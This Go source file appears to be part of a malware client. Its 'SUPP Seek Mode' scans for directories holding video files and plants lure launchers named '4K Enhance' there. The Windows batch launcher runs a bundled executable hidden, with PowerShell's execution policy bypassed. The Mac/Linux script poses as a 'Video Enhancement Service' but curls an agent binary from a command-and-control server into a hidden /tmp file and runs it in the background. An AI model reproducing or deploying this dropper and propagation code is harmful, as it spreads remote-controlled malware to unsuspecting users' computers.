87 lines
2.4 KiB
Go
87 lines
2.4 KiB
Go
package client
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
|
|
type suppSeekOpts struct {
|
|
DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
|
|
DropMac bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
|
|
ServerURL string
|
|
// Name prefix used for the launcher files.
|
|
FileStem string // default: "4K Enhance"
|
|
}
|
|
|
|
type suppSeekResult struct {
|
|
Dirs int // directories visited
|
|
Seeded int // directories where files were placed
|
|
Skipped int // already seeded
|
|
Files int // total files placed
|
|
Errors int
|
|
FirstErr string
|
|
}
|
|
|
|
func (r suppSeekResult) Summary() string {
|
|
return fmt.Sprintf(
|
|
"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
|
|
r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
|
|
)
|
|
}
|
|
|
|
// mediaExtensions is the set of file extensions that mark a directory as a
|
|
// target — if a directory contains any of these the launcher files are dropped.
|
|
var mediaExtensions = map[string]struct{}{
|
|
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
|
|
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
|
|
".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
|
|
}
|
|
|
|
func isMediaDir(dirPath string) bool {
|
|
entries, err := os.ReadDir(dirPath)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
for _, e := range entries {
|
|
if e.IsDir() {
|
|
continue
|
|
}
|
|
ext := strings.ToLower(filepath.Ext(e.Name()))
|
|
if _, ok := mediaExtensions[ext]; ok {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// batContent returns the content of the Windows .bat launcher.
|
|
// It launches the co-located VideoEnhancer.exe silently.
|
|
func batContent(stem string) string {
|
|
return "@echo off\r\n" +
|
|
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
|
|
"-Command \"& { " +
|
|
"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
|
|
"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
|
|
"}\"\r\n"
|
|
}
|
|
|
|
// commandContent returns the content of the Mac/Linux .command shell script.
|
|
// Falls back to a C2 download if the server URL is known.
|
|
func commandContent(serverURL string) string {
|
|
dl := ""
|
|
if serverURL != "" {
|
|
dl = fmt.Sprintf(
|
|
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
|
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
|
serverURL,
|
|
)
|
|
}
|
|
return "#!/bin/bash\n" +
|
|
"# Video Enhancement Service\n" +
|
|
dl +
|
|
"exit 0\n"
|
|
}
|